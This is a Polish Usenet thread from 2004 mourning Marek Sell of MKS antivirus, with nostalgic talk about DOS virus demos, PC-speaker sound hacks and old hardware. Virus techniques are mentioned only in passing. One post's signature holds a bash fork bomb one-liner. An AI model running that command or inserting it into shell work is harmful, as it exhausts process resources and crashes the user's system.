[']
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
rozmawiamy o tobie, to ty jestes grupowym exhibicjonista (C) meganka
> Za www.mks.com.pl: "Z głębokim żalem zawiadamiamy, że dnia 12 czerwca
> 2004, po długiej i ciężkiej chorobie odszedł Marek Sell".
To zaiste wielka strata dla branży. Znalem Pana Marka osobiscie dlatego
tymbardziej smutno mi pogodzic sie z ta fatalna wiadomoscia. Widac, z jego
polki juz biora... brak mi slow. Lacze sie ze wszystkimi w smutku i zalu.
> To zaiste wielka strata dla branży.
Ano :-( Ten dzień już nie będzie wesoły.
gophi, który w wieku ~10 lat wiele godzin spędzał na czytaniu opisów
wirusów w MkS_Virze. Takie zajęcie, odrywające od rzeczywistości, kiedy
nie było nawet systemu Windows (3.xx nie liczę), o powszechnym dostępie
do Internetu nawet nie wspominając.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
Improwizajca poparta inteligencją jest hackerstwem (C) y0shi @ apcoh
--
__ Maciek Pasternacki <mac...@japhy.fnord.org> [ http://japhy.fnord.org/ ]
`| _ |_\ / { ...On the outskirts of nowhere, on the ringroad to somewhere,
,|{-}|}| }\/ on the verge of indecision, I always take the roundabout way,
\/ |____/ waiting on the rain... } ( Fish ) -><-
>
> gophi, który w wieku ~10 lat wiele godzin spędzał na czytaniu opisów
> wirusów w MkS_Virze......
czytał człowiek, czytał, ale i tak najfajniejsze było uruchamianie
"demka" Kropkojada (moją rodzicielkę niezwykle to bawiło).
pozdr.
--
input
>> gophi, który w wieku ~10 lat wiele godzin spędzał na czytaniu opisów
>> wirusów w MkS_Virze......
>
> czytał człowiek, czytał, ale i tak najfajniejsze było uruchamianie
> "demka" Kropkojada (moją rodzicielkę niezwykle to bawiło).
Tak, te demka były fajne. Tak samo jak odtwarzanie melodyjek z wirusów
na starym, zepsutym telewizorze, którego wejście toru m.cz. połączone
było grubym, odkurzaczowym kablem z wyjściem PC-Speakera :) A potem
całe godziny, spędzane na kodowaniu w assemblerze podobnych efektów,
tak graficznych (na bursztynowym Herculesie to miało niepowtarzalny
klimat), jak dźwiękowych (na PC-Spekaerze, a potem porcie LPT, pod
który był podpięty własnej roboty Covox).
No i czytanie, czytanie, czytanie, głównie właśnie opisów wirusów
w MkS_Virze. To cholernie wciągało...
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
po ile teraz stoi kilogram grup dyskusyjnych? (C) hash @ apcoh @ 2k3
> > To zaiste wielka strata dla branży.
>
> Ano :-( Ten dzień już nie będzie wesoły.
>
> gophi, który w wieku ~10 lat wiele godzin spędzał na czytaniu opisów
> wirusów w MkS_Virze. Takie zajęcie, odrywające od rzeczywistości, kiedy
> nie było nawet systemu Windows (3.xx nie liczę), o powszechnym dostępie
> do Internetu nawet nie wspominając.
Nigdy nie zapomne czasow kiedy na 8086 z blyskiem w oku odpalalem demka
wirow. Kilkubajtowe kody wyswietlajace zabawne komunikaty o pelnej godzinie
albo buzzerowe dzwieki hymnu CCCP pieczolowicie napisane przez jakiegos
swietnego programiste w asmie. Moze to glupie ale w 'tamtych czasach'
chcialem miec prawdziwego wirusa w komputerze i zobaczyc jak to dziala
naprawde. Nic jednak nie pobije kropkojada z piskliwie jezdzaca karetka
zjadajaca kropki albo "Lecha Walesy". Do dzis jestem pelen podziwu jak ktos
wycisnal ze zwyklego glosnika PCtowego tak wyrazne slowa "precz z walesa".
Pozostaje miec tylko nadzieje, ze projekty Pana Marka znajda godnych
kontynuatorow.
> Nigdy nie zapomne czasow kiedy na 8086 z blyskiem w oku odpalalem demka
> wirow. Kilkubajtowe kody wyswietlajace zabawne komunikaty o pelnej godzinie
> albo buzzerowe dzwieki hymnu CCCP pieczolowicie napisane przez jakiegos
> swietnego programiste w asmie.
Tak, to prawda. Zawsze miałem ogromny respekt dla takich ludzi. Właśnie
wtedy postanowiłem "nauczyć się assemblera". Ambitne zadanie jak na
dziesięciolatka, ale chyba zawsze miałem w sobie coś, co nie pozwalało
mi odpuścić sobie czegoś, dopóki nie osiągnąłem celu. I... Cóż, minęło
dziesięć lat, moje podejście do życia i programowania trochę się
zmieniło, ale nadal ciągle uczę się nowych rzeczy.
> Moze to glupie ale w 'tamtych czasach' chcialem miec prawdziwego wirusa
> w komputerze i zobaczyc jak to dziala naprawde.
Ja też ;P Potem miałem parę, raz straciłem wszystko, co miałem na sporym
jak na tamte czasy dysku (40 MB), i... Sam zacząłem pisać. Nawet fajne
rzeczy wychodziły :)
> Nic jednak nie pobije kropkojada z piskliwie jezdzaca karetka zjadajaca
> kropki
Tia, kod ascii 01h z prawej w lewą stronę, a potem 02h w drugą :P (albo
odwrotnie, ale chyba jednak tak)
> albo "Lecha Walesy".
Tak, Cysta (Rychu)... Jak to było - dźwięk #1 "Wóz który tu sprawdźcie",
odtwarzane z ogromnym "przesterem" (dźwięk zapisany bitowo, bity zmieniające
wartości wtedy, kiedy przechodził powyżej lub poniżej poziomu zera), #2
i #3 nie pamiętam, no i #4 "Precz z Wałęsą!".
> Do dzis jestem pelen podziwu jak ktos wycisnal ze zwyklego glosnika
> PCtowego tak wyrazne slowa "precz z walesa".
Oj, tak. Sztuczki, kombinowanie, wyciskanie ze sprzętu wszystkiego, co
tylko się dało i nie dało. To było coś :)
> Pozostaje miec tylko nadzieje, ze projekty Pana Marka znajda
> godnych kontynuatorow.
To samo pomyślałem sobie dzisiaj, jedząc obiad. Że bardzo byłoby szkoda,
żeby to wszystko po prostu zmarnowało się, umarło.
No nic, pozostaje tylko czekać.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
Moja dupa to nie beczka - nie zakisisz ogoreczka (C) KOMINEK na appm
> całe godziny, spędzane na kodowaniu w assemblerze podobnych efektów,
> tak graficznych (na bursztynowym Herculesie to miało niepowtarzalny
> klimat),
Hercules.... ja byłem lepszy - miałem CGA :)
pozdr.
--
input
> Hercules.... ja byłem lepszy - miałem CGA :)
Ja miałem Herculesa, a zaraz po nim VGA. Monitor, który służy do dziś
(tylko raz musiałem w nim wymienić kondensator, który wystrzelił,
wrzuciłem jakąś prowizorkę złożoną z sześciu innych i działa). Fakt
że teraz jest przez większość czasu wyłączony.
Zresztą, Hercules też działa do dziś ;P
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
> > Nic jednak nie pobije kropkojada z piskliwie jezdzaca karetka zjadajaca
> > kropki
>
> Tia, kod ascii 01h z prawej w lewą stronę, a potem 02h w drugą :P (albo
> odwrotnie, ale chyba jednak tak)
Wydaje mi sie ze odwrotnie ale mniejsza o to. :)
> > albo "Lecha Walesy".
>
> Tak, Cysta (Rychu)... Jak to było - dźwięk #1 "Wóz który tu sprawdźcie",
> odtwarzane z ogromnym "przesterem" (dźwięk zapisany bitowo, bity
zmieniające
> wartości wtedy, kiedy przechodził powyżej lub poniżej poziomu zera), #2
> i #3 nie pamiętam, no i #4 "Precz z Wałęsą!".
Popatrz... jak to jest? Kiedys ludzie korzystajac z maszyn o kilkaset razy
mniejszej wydajnosci i mocy obliczeniowej wyprawiali takie rzeczy ze dzis w
glowie sie to nie miesci. Oni bawili sie binarka, żonglowali zerami i
jedynkami. Wielu z nich za pomoca algorytmow moglo opisac kazdy element
otaczajacego ich swiata. A dzis... programista - nazywa sie czuba z
zielonymi dredami ktory 'umie' VisualBasic'a i Delphi no i do tego jest
specem od relacyjnych baz danych bo przeciez zna MS Access'a. Z jednej
strony postep technologiczny jest wspanialy bo stwarza mozliwosci, a
zdrugiej strony uczy lenistwa, prowadzi do marazmu i zabija kreatywnosc.
> > Do dzis jestem pelen podziwu jak ktos wycisnal ze zwyklego glosnika
> > PCtowego tak wyrazne slowa "precz z walesa".
>
> Oj, tak. Sztuczki, kombinowanie, wyciskanie ze sprzętu wszystkiego, co
> tylko się dało i nie dało. To było coś :)
No wlasnie to bylo cos! Wycisnac z glosnika systemowego syntetyczna
pseudomowe albo zagrac Ode do Radosci. Po co dzis wyciskac ze sprzetu
wszystko co sie da skoro standardem staly sie 32 kanalowe karty dzwiekowe z
surroundem, dolby i innymi bajerami, ktorych nazw nawet nie jestem w stanie
sobie przyswoic.
> > Pozostaje miec tylko nadzieje, ze projekty Pana Marka znajda
> > godnych kontynuatorow.
>
> To samo pomyślałem sobie dzisiaj, jedząc obiad. Że bardzo byłoby szkoda,
> żeby to wszystko po prostu zmarnowało się, umarło.
Ja tez o tym myslalem i w swoich przemysleniach poszedlem jeszcze dalej.
Uzmyslowilem sobie, ze to nie jest tylko sprawa kontynuacji projektow Pana
Marka. Tu chodzi o cos wiecej... Z kazdym takim smutnym wydarzeniem umiera
jakby kolejna czesc ducha ogolnie pojetej informatyki. A te puste luki,
niespodziewanie szybko wypelniaja sie kolorowym, migajacym i tandetnym
dziadostwem. Nie wiem czy Ty tez odnosisz takie wrazenie ale w moich oczach
w calym tym postepie i szalonym pedzie wyczuwam wyrazne tendencje
uwsteczniajace. Moze to troche dziwne ale jestem tak jakby zly, ze juz nie
ma wlasnie tych 'prawdziwych' tradycjnych wirosow, ze Internet w rozumieniu
99% jego spolecznosci to kolorowa zawartosc IE, ze moja kuzynka ma w
podreczniku do informatyki napisana definicje: OS (ang. Operation System) -
Okienkowy System Operacyjny firmy Micr... itd, zly jestem nawet ze w pracy
mam tak szybkie lacze ze dysk nie nadaza z zapisywaniem tego co z predkoscia
20mbs wpada eth0.. itd, itd... To pewnego rodzaju paradoks, moze trudny do
zrozumienia ale ja czuje, ze cos w tym jest.
> No nic, pozostaje tylko czekać.
...i miec nadzieje.
> > Hercules.... ja byłem lepszy - miałem CGA :)
>
> Ja miałem Herculesa, a zaraz po nim VGA. Monitor, który służy do dziś
Burzuj! Z herculesa przeskoczyles odrazu na FAŁGE? A czterokolorwej cegły
nie miałeś?
> (tylko raz musiałem w nim wymienić kondensator, który wystrzelił,
Mi w bursztynku powielacz eksplodowal.
> wrzuciłem jakąś prowizorkę złożoną z sześciu innych i działa). Fakt
> że teraz jest przez większość czasu wyłączony.
Osobiscie uwazam, ze do serwera najlepiej pasuje VGA 256greyscale. Nie meczy
oczu jest bardzo czytalna a do tego geekowo wyglada i dziewczynom sie
podobuje:)
> Zresztą, Hercules też działa do dziś ;P
Moj padl :(
>> Ja miałem Herculesa, a zaraz po nim VGA. Monitor, który służy do dziś
>
> Burzuj! Z herculesa przeskoczyles odrazu na FAŁGE? A czterokolorwej cegły
> nie miałeś?
a ja miałem SVGA i co ;p
--
::/ jceel /:: % Jakub Klama | jc...@apcoh.org
GG|EKG: 3605763 % GSM: +48609548025 | jc...@kernel.org.pl
JID: jc...@jabberpl.org | jakub...@wp.pl
Running P6/700 @ 2.6.5 | <null>
> Tak, te demka były fajne. Tak samo jak odtwarzanie melodyjek z wirusów
> na starym, zepsutym telewizorze, którego wejście toru m.cz. połączone
> było grubym, odkurzaczowym kablem z wyjściem PC-Speakera :) A potem
> całe godziny, spędzane na kodowaniu w assemblerze podobnych efektów,
> tak graficznych (na bursztynowym Herculesie to miało niepowtarzalny
> klimat), jak dźwiękowych (na PC-Spekaerze, a potem porcie LPT, pod
> który był podpięty własnej roboty Covox).
A'propos takich wynalazkow. Kiedys wpadlem na pomysl zebyz zamiast 0,25W
standardowego glosniczka systemowego podlaczyc potezna kolumne glosnikowa
Tonsil (okolo 200W). Wszystko oczywiscie bylo ladnie wzmocnione i
dopieszczone korektorem z NRDowskiego magnetofonu. Nastepnie wpadlem na
pomysl zeby zmierzyc dolny i gorny prog mojej slyszalnosc. Jesli chodzi o
tony niskie to glosnik przenosil dopiero od jakis 15Hz wiec wielkich
niespodzianek nie bylo. Prawdziwe klopoty pojawily sie jak pętelka napisana
w Qbasicu zaczela podawac na wyjscie czestotliwosci ponad 25000hz. Najpierw
zobaczylem mame, ktora trzymajac sie za uszy krzyczala w nieboglosy zebym to
cos wylaczyl a kolejnym etapem (nie wiem juz przy jakiej f) bylo szczekanie
chyba wszystkich psow na calym blokowisku. To bylo cos:)))
BTW: Covox rox!:)
> Za www.mks.com.pl: "Z głębokim żalem zawiadamiamy, że dnia 12 czerwca
> 2004, po długiej i ciężkiej chorobie odszedł Marek Sell". Chyba nie
> trzeba nikomu tłumaczyć, kim był ten człowiek.
>
> [']
ten, no... szkoda go... nie ma się co rozwodzić.
[~] [~]
Taa, też w tym wieku czytałem te opisy. Demka były genialne...
R.I.P :-(
--
[Think about my e-mail adress]
Artkow - Registered Linux User #337808
artno...@THISo2.pl * www.artkow.prv.pl * www.kl2gonline.prv.pl
Nie trzeba :(
Znaczy się, ja też, to co Koledzy. Hercules, EGA, VGA, opisy+efekty,
podziw dla PCSpeakera.
No i wciągnęło...
Nie spodziewałem się, że jeszcze dzisiaj coś będzie mnie w stanie bardziej
zasmucić :(
--
pozdrawiam,
Łukasz Nowicki
// Gwarancji na wypowiedź nie udziela się.
> Nastepnie wpadlem na
> pomysl zeby zmierzyc dolny i gorny prog mojej slyszalnosc. Jesli
> chodzi o tony niskie to glosnik przenosil dopiero od jakis 15Hz wiec
> wielkich niespodzianek nie bylo. Prawdziwe klopoty pojawily sie jak
> pętelka napisana w Qbasicu zaczela podawac na wyjscie czestotliwosci
> ponad 25000hz. Najpierw zobaczylem mame, ktora trzymajac sie za uszy
> krzyczala w nieboglosy zebym to cos wylaczyl a kolejnym etapem (nie
> wiem juz przy jakiej f) bylo szczekanie chyba wszystkich psow na calym
> blokowisku. To bylo cos:)))
>
> BTW: Covox rox!:)
>
Czy to mozliwe ze twoja mam slyszala 25kHz ? To na prawde duzo. Moze
chodzilo o 15kHz w to uwierze. Jesli jednak mama twoja slyszy 25kHz to
tylko pograatulowac sluchu :)
--
Przemyslaw "jurkof" Jurczak
GG:2374373
jurkof(at)poczta.onet.pl
> Czy to mozliwe ze twoja mam slyszala 25kHz ? To na prawde duzo. Moze
> chodzilo o 15kHz w to uwierze. Jesli jednak mama twoja slyszy 25kHz to
> tylko pograatulowac sluchu :)
Problem polega na tym, ze ja bynajmniej slyszalem tylko bardzo cichy pisk
natomiast ona slyszala to bardzo wyraznie i bardzo ja to draznilo.
Rzeczywiscie z 25kHz to przegielem ale pond 20 jakos moglo podchodzic. To
naprawde bylo bardzo dawno i nie pamietam detali:)
> "Przemyslaw 'jurkof' Jurczak" wrote:
Mimo wszystko pozazdroscic sluchu :) A jesli chodzi o wysokie
czestotliwosci to kumpel ostatnio ustawial sobie czestotliwosc dzwieku
PCspeakera w konsoli i ustawil... Mi w uszach ostro piszczalo a on
myslal ze nic juz nie slychac. Czestotliwosc byla ~15-16kHz :) Czulem
sie jak nietoperz ;)
> No i czytanie, czytanie, czytanie, głównie właśnie opisów wirusów
> w MkS_Virze. To cholernie wciągało...
LOL. Nie chcę wiedzieć po co to mogłeś czytać ;D Ale jakby nie było, to
była za***ista skarbnica ciekawych rozwiązań - XORy w oparciu o czas,
kopiowanie i ukrywanie MBR, formatowanie dodatkowych sektorów na
dyskiekach, itp.:D Nawet doszedłem jak można było prosto MkSa zrobić w
konia...
Przypomina mi się jedna bardzo zabawna historia. Kolega, za czasów
technikum na swoim P75 Intela opracował kod, który na początku
dokonywał samorozszyfrowania się poprzez XOR. Kod chodził pięknie...
tyle, że u niego w domu. W szkole na AMD486 za każdym razem była
zwiecha. Męczył się biedak przez parę ładnych dni, żeby dojść co jest
grane. Żeby było weselej, to pod debuggerem kod zarówno na P75 jak i na
AMD486 wykonywał się poprawnie... W końcu doszedł co się działo[1]. Po
małej przeróbce kod chodził poprawnie. Zdziwił się tylko, gdy w MkSie
zobaczył komentarz, mówiący o tym, że 'wprowadzone zmiany miały zapewne
na celu utrudnienie wykrycia'.
[1] 100 punktów dla tego, kto zgadnie co to było.
--
Pozdrawiam,
Michał Byrecki
> Tak, to prawda. Zawsze miałem ogromny respekt dla takich ludzi.
Heh, ja do dzisiaj tak wspominam autora wirusa Spirit, który zmieścił
cały kod w niecałych 512 bajtach :)
Nie to, co teraz, że się wirusy w C++ pisze ;)
--
Pozdrawiam,
Michał Byrecki
> Przypomina mi się jedna bardzo zabawna historia. Kolega, za czasów
> technikum na swoim P75 Intela opracował kod, który na początku
> dokonywał samorozszyfrowania się poprzez XOR. Kod chodził pięknie...
> tyle, że u niego w domu. W szkole na AMD486 za każdym razem była
> zwiecha. Męczył się biedak przez parę ładnych dni, żeby dojść co jest
> grane. Żeby było weselej, to pod debuggerem kod zarówno na P75 jak i na
> AMD486 wykonywał się poprawnie... W końcu doszedł co się działo[1]. Po
> małej przeróbce kod chodził poprawnie. Zdziwił się tylko, gdy w MkSie
> zobaczył komentarz, mówiący o tym, że 'wprowadzone zmiany miały zapewne
> na celu utrudnienie wykrycia'.
>
> [1] 100 punktów dla tego, kto zgadnie co to było.
Cache'owanie kodu (prefetch paru najbliższych rozkazów) w procesorze?
--
__ Maciek Pasternacki <mac...@japhy.fnord.org> [ http://japhy.fnord.org/ ]
`| _ |_\ / { 3.141592653589793238462643383279502884197169399375105820974944
,|{-}|}| }\/ 59230781640628620899862803482534211706798214808651328230664709384
\/ |____/ 46095505822317253594081284811174502841027019385211... ( Pi ) -><-
> Tak, Cysta (Rychu)... Jak to było - dźwięk #1 "Wóz który tu sprawdźcie",
> odtwarzane z ogromnym "przesterem" (dźwięk zapisany bitowo, bity zmieniające
> wartości wtedy, kiedy przechodził powyżej lub poniżej poziomu zera), #2
> i #3 nie pamiętam, no i #4 "Precz z Wałęsą!".
Nie jest mi do śmiechu, ale sprostuję: tam było:
1. Won od klawiatury palancie
2. Chuj ci w dupę
3. Kurwa twoja mać
4. Precz z Wałęsą
A tak w ogóle to jest mi dzisiaj cholernie smutno, a jeszcze to ...
--
+---> http://apcoln.linuxpl.org <----- | -----> Aragor...@jabber.org <----+
| You did it again - yes, you in the mirror! You put yout your faith in |
| a cruel world. No not again, never again, I'll never trust noone again. |
+---> http://biznes.linux.pl <---- | ----> Aragorn/Vime (Marcin Stępnicki) <-+
> > [1] 100 punktów dla tego, kto zgadnie co to było.
>
> Cache'owanie kodu (prefetch paru najbliższych rozkazów) w procesorze?
100 punktów dla pana :)
--
Pozdrawiam,
Michał Byrecki
> 1. Won od klawiatury palancie
*Wyłącz klawiaturę* palancie, tak było.
--
__ Maciek Pasternacki <mac...@japhy.fnord.org> [ http://japhy.fnord.org/ ]
`| _ |_\ / { ...i choćby nie wiem, kto, i choćby nie wiem, jak, próbował
,|{-}|}| }\/ wrednie ci nakłamać -- nie wolno wierzyć ci, że nie ma czasu,
\/ |____/ a jedzenie i seks to to samo... } ( W. Waglewski ) -><-
>> 1. Won od klawiatury palancie
>
> *Wyłącz klawiaturę* palancie, tak było.
Nie będę się spierał, chociaż specjalnie odpaliłem przed chwilą i słyszę
to samo co słyszałem. Całkiem możliwe, jakość jednak pozostawia trochę
do życzenia. Nie powinno to jednak przysłaniać głównego wątku. :(.
Postaramy się. Większość pracowników też kiedyś oglądało demka wirusów,
wczytywało się w stosowane w nich sztuczki, a marzeniem była dla nich praca
w firmie MKS. Nie jest więc to praca, którą łatwo byłoby zmienić, nawet za
większe pieniądze u konkurencji. Pozwolę sobie zacytować słowa Pana Marka:
"Firma taka jak moja składa się tak naprawdę głównie z zatrudnionych tam
pracowników. Pomieszczenia czy komputery można bez problemu od ręki kupić,
ale na taki zespół jak nasz trzeba wielu lat pracy. "
pozdrawiam
Jakub
--
"We're just toys in the hands of Xom"
www.xenocide.w.pl - SF roguelike in development
www.graveyard.uni.cc - visit Roguelike Graveyard
www.alamak0ta.republika.pl - my other projects
>> Ja miałem Herculesa, a zaraz po nim VGA. Monitor, który służy do dziś
>
> Burzuj! Z herculesa przeskoczyles odrazu na FAŁGE? A czterokolorwej cegły
> nie miałeś?
No, nie miałem ;P Tylko emulowałem sobie na Herculesie śmiesznym css.com.
>> (tylko raz musiałem w nim wymienić kondensator, który wystrzelił,
>
> Mi w bursztynku powielacz eksplodowal.
Naprawiłeś?
> Osobiscie uwazam, ze do serwera najlepiej pasuje VGA 256greyscale. Nie meczy
> oczu jest bardzo czytalna a do tego geekowo wyglada i dziewczynom sie
> podobuje:)
Hehe, ja mam przy serwerze jakąś starą, kolorową fałgę, pożyczoną ok. rok temu
na tydzień z pracy. Nie oddałem, bo w międzyczasie wylądowałem na pogotowiu
ze szkłem w mięśniu (tuż przy łokciu), co zaowocowało ośmioma szwami i całym
miesiącem w gipsie, więc nie bardzo miałem jak zanieść, a teraz... Tak jakoś
wszyscy o tym zapomnieli :P Ja też w sumie. A monitor stoi.
>> Zresztą, Hercules też działa do dziś ;P
>
> Moj padl :(
Napraw :)
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
niedawno wróciłam z imprezy i przytomnieję sobie w pracy (C) meganka
> Nastepnie wpadlem na pomysl zeby zmierzyc dolny i gorny prog mojej
> slyszalnosc.
Też miałeś takie pomysły? :)))
> BTW: Covox rox!:)
Hehe, ano rox ;) Do dziś pamiętam schemat. :>
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
Jesteś emocjonalnie wykolejony. I to bardziej niż futszaK. (C) Bylin
> LOL. Nie chcę wiedzieć po co to mogłeś czytać ;D
Z ciekawości :)
> Ale jakby nie było, to była za***ista skarbnica ciekawych
> rozwiązań - XORy w oparciu o czas, kopiowanie i ukrywanie
> MBR, formatowanie dodatkowych sektorów na dyskiekach, itp.:D
No właśnie... Wiele fajnych sztuczek dało się stamtąd wynieść.
> Nawet doszedłem jak można było prosto MkSa zrobić w konia...
Jak? :P
> [1] 100 punktów dla tego, kto zgadnie co to było.
Strzelam: Nie inicjował rejestru trzymającego klucz xorowania? Nie
inicjował ds albo es?
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
~~~(,,°°> ~~~(,,°°> ~~~(,,°°> *Myszki* ~~~(,,°°> ~~~(,,°°> ~~~(,,°°>
>> Cache'owanie kodu (prefetch paru najbliższych rozkazów) w procesorze?
> 100 punktów dla pana :)
Hehe, racja. Logiczne do bólu, ale nie wpadłbym na to.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
twoja ewentualna kobieta bedzie miala raj:) (C) meganka o crontabach
>> Tia, kod ascii 01h z prawej w lewą stronę, a potem 02h w drugą :P (albo
>> odwrotnie, ale chyba jednak tak)
>
> Wydaje mi sie ze odwrotnie ale mniejsza o to. :)
Na pewno? ;) Chyba jednak z prawej biegła "pusta" buźka, zjadała kropkę
i leciała w drugą stronę już "pełna", inwersyjna (02h).
> Popatrz... jak to jest? Kiedys ludzie korzystajac z maszyn o kilkaset razy
> mniejszej wydajnosci i mocy obliczeniowej wyprawiali takie rzeczy ze dzis
> w glowie sie to nie miesci.
Bo kiedyś byli Prawdziwi Koderzy. Teraz też są, ale jest ich dużo mniej.
Świat zalewa komercja i tyle.
> Oni bawili sie binarka, żonglowali zerami i jedynkami. Wielu z nich za
> pomoca algorytmow moglo opisac kazdy element otaczajacego ich swiata.
Ano...
> Z jednej strony postep technologiczny jest wspanialy bo stwarza
> mozliwosci, a zdrugiej strony uczy lenistwa, prowadzi do marazmu
> i zabija kreatywnosc.
No właśnie.
Ale kiedyś jednak trochę inaczej pisało się programy. Był DOS, real mode,
wszystko było takie proste, logiczne, można było być prawdziwym specjalistą,
a dzisiaj niczego nie da się "nauczyć".
> No wlasnie to bylo cos! Wycisnac z glosnika systemowego syntetyczna
> pseudomowe albo zagrac Ode do Radosci. Po co dzis wyciskac ze sprzetu
> wszystko co sie da skoro standardem staly sie 32 kanalowe karty dzwiekowe z
> surroundem, dolby i innymi bajerami, ktorych nazw nawet nie jestem w stanie
> sobie przyswoic.
No, kiedyś się wyciągało ze sprzętu, teraz wyciąga się z kieszeni ludzi :P
Tamten świat po prostu umarł, taka jest prawda. A ja, który zawsze chciałem
iść po szkole średniej na elektronikę albo informatykę, zastanawiam się czy
nie iść na psychologię.
> Uzmyslowilem sobie, ze to nie jest tylko sprawa kontynuacji projektow Pana
> Marka. Tu chodzi o cos wiecej... Z kazdym takim smutnym wydarzeniem umiera
> jakby kolejna czesc ducha ogolnie pojetej informatyki.
Informatyka taka jaką ją pamiętamy i tak już dawno umarła :( Teraz jest
Windows, okienkowe dzieci, które nie pamiętają już tych czasów. Klikają
sobie te swoje Visual Basiki i inne i mówią, że są programistami (tak
jak pisałeś wcześniej), piszą jakiś durny kod w VBScripcie i mówią na
to "wirus", a kod sieje spustoszenia na całym świecie w programach
pocztowych zidiociałych użytkowników. Kiedyś żeby napisać wirusa trzeba
było mieć naprawdę ogromną wiedzę i bystrość umysłu, to nie było dostępne
dla wszystkich, a teraz byle sfrustrowany idiota pisze parę linijek kodu,
rozsyła do innych idiotów w postaci załącznika z dopiskiem "click here"
i mamy wirusa.
> Nie wiem czy Ty tez odnosisz takie wrazenie ale w moich oczach
> w calym tym postepie i szalonym pedzie wyczuwam wyrazne tendencje
> uwsteczniajace.
Też, też :( Z jednej strony technika idzie do przodu, a z drugiej ludzie,
którzy odpowiadają za oswojenie tego świata, uwsteczniają się jak nigdy.
> Moze to troche dziwne ale jestem tak jakby zly, ze juz nie ma wlasnie
> tych 'prawdziwych' tradycjnych wirosow, ze Internet w rozumieniu 99%
> jego spolecznosci to kolorowa zawartosc IE,
To prawda. Z jednej strony można na nich zarabiać, ale z drugiej to po
prostu smutne.
> To pewnego rodzaju paradoks, moze trudny do zrozumienia ale ja czuje,
> ze cos w tym jest.
Jest, jest. Niestety...
>> No nic, pozostaje tylko czekać.
>
> ...i miec nadzieje.
Ano właśnie.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
a ty myslisz, ze kazdy tylko odpisuje bez czytania jak wy? (C) megan
>> Tak, to prawda. Zawsze miałem ogromny respekt dla takich ludzi.
> Heh, ja do dzisiaj tak wspominam autora wirusa Spirit, który zmieścił
> cały kod w niecałych 512 bajtach :)
Swoją droga najmniejszy wirus miał chyba 46 bajtów :)
> Nie to, co teraz, że się wirusy w C++ pisze ;)
Niektórzy mówią na to "wirusy"... Ale to nie jest godne tego miana.
A może to ja żyję przeszłością, nie akceptując tego, co niestety
nieuniknione.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
Jakbym chciał, to bym coś mądrego napisał (C) LampA @ p.c.networking
>> Tak, Cysta (Rychu)... Jak to było - dźwięk #1 "Wóz który tu sprawdźcie",
>> odtwarzane z ogromnym "przesterem" (dźwięk zapisany bitowo, bity zmieniające
>> wartości wtedy, kiedy przechodził powyżej lub poniżej poziomu zera), #2
>> i #3 nie pamiętam, no i #4 "Precz z Wałęsą!".
>
> Nie jest mi do śmiechu, ale sprostuję: tam było:
>
> 1. Won od klawiatury palancie
Ooo, wreszcie ktoś, kto rozumiał ten dźwięk :) Ja się wsłuchiwałem
chyba kilkaset razy i nie mogłem zrozumieć nic oprócz "wóz który tu
sprawdźcie" ;-)
> 2. Chuj ci w dupę
> 3. Kurwa twoja mać
Tak, już pamiętam. Tylko nie jestem pewien, czy tam było "twoja".
> 4. Precz z Wałęsą
...które za pierwszym razem zrozumiałem jako Lech Wałęsą ;)
> A tak w ogóle to jest mi dzisiaj cholernie smutno, a jeszcze to ...
No niestety... Takie jest życie. :-(
Z drugiej strony wszyscy kiedyś umrzemy.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
rozmawiamy o tobie, to ty jestes grupowym exhibicjonista (C) meganka
> Postaramy się. Większość pracowników też kiedyś oglądało demka wirusów,
> wczytywało się w stosowane w nich sztuczki, a marzeniem była dla nich praca
> w firmie MKS. Nie jest więc to praca, którą łatwo byłoby zmienić, nawet za
> większe pieniądze u konkurencji. Pozwolę sobie zacytować słowa Pana Marka:
>
> "Firma taka jak moja składa się tak naprawdę głównie z zatrudnionych tam
> pracowników. Pomieszczenia czy komputery można bez problemu od ręki kupić,
> ale na taki zespół jak nasz trzeba wielu lat pracy. "
No cóż... Co tu dużo mówić. Wierzymy w Was.
--
Adam Wysocki * www.gophi.net * alt.pl.comp.os.hacking: www.apcoh.org
GG 1234 * GSM +48888456927 * go...@linux.net.pl * go...@gadu-gadu.pl
U gophiego to mnie by nawet pisanie z NASA nie zdziwło.. (C) Behemot
> Swoją droga najmniejszy wirus miał chyba 46 bajtów :)
Zaleznie od zrodel, 25 albo 35... a zlosliwi mowia, ze zero bajtow - po
uruchomieniu replikuje swoja zawartosc doklejajac ja na koncu kazdej
binarki.
--
------------------------- bash$ :(){ :|:&};: --
Michal Zalewski * [http://lcamtuf.coredump.cx]
Did you know that clones never use mirrors?
--------------------------- 2004-06-15 12:37 --
> Jak? :P
